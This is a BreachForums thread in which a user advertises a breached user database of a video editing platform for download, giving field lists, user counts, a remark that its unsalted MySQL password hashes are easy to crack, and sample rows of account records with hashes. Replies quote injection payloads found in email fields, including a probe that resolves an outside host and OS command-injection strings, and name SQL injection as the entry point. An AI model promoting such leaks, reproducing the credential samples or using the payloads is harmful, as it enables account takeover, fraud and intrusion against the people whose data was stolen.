[Zix]

Hello BreachForums community! Today I bring you the Video Toolbox database, for a free download!

 

https://www.diseniorweb.com.ar/wp-conten...759264.png

 

---

 

Description:

This platform is an advanced and free video editing platform. It can be used to get information on videos and edit them. In 2025, this platform suffered a data breach. The data includes user IDs, emails, passwords, registration date and information about their subscribed status.

 
Compromised Data:
 

ID,profile_ID,activation_ID,email,status,password,paid_till,conversion_mode,registration_date,newsletter_subscribed

 
User amount: 665 879
 
Hash Type: This platform had stored users' passwords as MySQL4.1+ without salt, which are fairly easy to crack.
 
Email types:

• Gmail - 357 695
  
• Hotmail - 97 357
  
• Yahoo - 63 793
  
• Edu - 6 353
  
• Other - The rest
  

 
Samples:
 

1570,1,4bd08c5ac04b2,[email protected],active,*C402113E5849A67C25258F805A2638E6027BEC50,0000-00-00 00:00:00,simple,2010-04-22 13:50:18,yes
1574,1,4bd0aafd17d66,[email protected],active,*22FE8E8B1E4D085485A7D9FF17FB601FEA11D5A3,0000-00-00 00:00:00,advanced,2010-04-22 16:01:01,yes
151707,1,507c541f5b411,[email protected],active,*A012934E7219119F96A6AF6C11F59AAA7F4851B6,0000-00-00 00:00:00,simple,2012-10-15 14:21:19,yes
655561,1,5ac867c1f04e4,[email protected],active,*5FD73E2348723977114357DFA364AB1B1DAB14D9,0000-00-00 00:00:00,simple,2018-04-06 23:40:01,yes
883881,1,609bddc2674e3,[email protected],active,*7DB52E90CE4D7F0B7BFFA1B4491ECABCA9D0BBA2,0000-00-00 00:00:00,simple,2021-05-12 06:53:06,yes
947247,1,660aeb9d2c89d,[email protected],active,*84AEAF2491D029453F34914AFF249E6E61DE7E8D,0000-00-00 00:00:00,simple,2024-04-01 10:15:09,yes
956343,1,6779a43051657,[email protected],inactive,*9A954217EA664DFC42CB1631DF311A4333912BC6,0000-00-00 00:00:00,simple,2025-01-04 13:12:16,yes

 
 
 
Download:

Hidden Content

You must register or login to view this content.

 
 
 
  
Note:
I did not buy this database from @Edward_Snowden. The database was given to be, I didn't "hack" anything.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Self-Ban | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.

[ThinkingOne]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

[vicinspire]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

what do you mean exactly? This leak isn't worth it.

[Zix]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

I know that the vulnerability is obvious, but what do you mean you can see it from the email addresses? Also, we didn't use any specific "exploit."

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Self-Ban | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.

[ThinkingOne]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

I know that the vulnerability is obvious, but what do you mean you can see it from the email addresses? Also, we didn't use any specific "exploit."

On January 14, there were a number of accounts with email addresses like:

".gethostbyname(lc("hitsu"."rfepwhvr2e110.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(68).chr(105).chr(75)."
"|echo ewfhff$()\\ kawxce\\nz^xyu||a #' |echo ewfhff$()\\ kawxce\\nz^xyu||a #|"" |echo ewfhff$()\\ kawxce\\nz^xyu||a #"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs\x00.com
"&echo gkaffd$()\\ xodatl\\nz^xyu||a #' &echo gkaffd$()\\ xodatl\\nz^xyu||a #|"" &echo gkaffd$()\\ xodatl\\nz^xyu||a #"

It could be unrelated, but I can't recall ever seeing any text-based code in email address fields like that before.

[Zix]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

I know that the vulnerability is obvious, but what do you mean you can see it from the email addresses? Also, we didn't use any specific "exploit."

On January 14, there were a number of accounts with email addresses like:

".gethostbyname(lc("hitsu"."rfepwhvr2e110.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(68).chr(105).chr(75)."
"|echo ewfhff$()\\ kawxce\\nz^xyu||a #' |echo ewfhff$()\\ kawxce\\nz^xyu||a #|"" |echo ewfhff$()\\ kawxce\\nz^xyu||a #"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs\x00.com
"&echo gkaffd$()\\ xodatl\\nz^xyu||a #' &echo gkaffd$()\\ xodatl\\nz^xyu||a #|"" &echo gkaffd$()\\ xodatl\\nz^xyu||a #"

It could be unrelated, but I can't recall ever seeing any text-based code in email address fields like that before.

The first example seems to be some type of programming language injection payload and the two other ones are OS command injection attempts. I can tell you, it's neither of those.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Self-Ban | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.

[joepa]

Huh? Free for 8 credits?

[Zix]

Huh? Free for 8 credits? 

Are you trying to say it's not "free" when it's for 8 credits? You can get 8 credits quite fast by contributing, which is free.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Self-Ban | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.

[maintes]

some say it is israeli website, what the fack? is it true?

[vobka]

If anyone is curious as to the exploit used, I'm guessing that looking at the last few hundred email addresses will clue you in (I'm not a hacker, but can read between the lines).

There was no exploit used, there is or was SQLI in registration confirmation email, research more next time.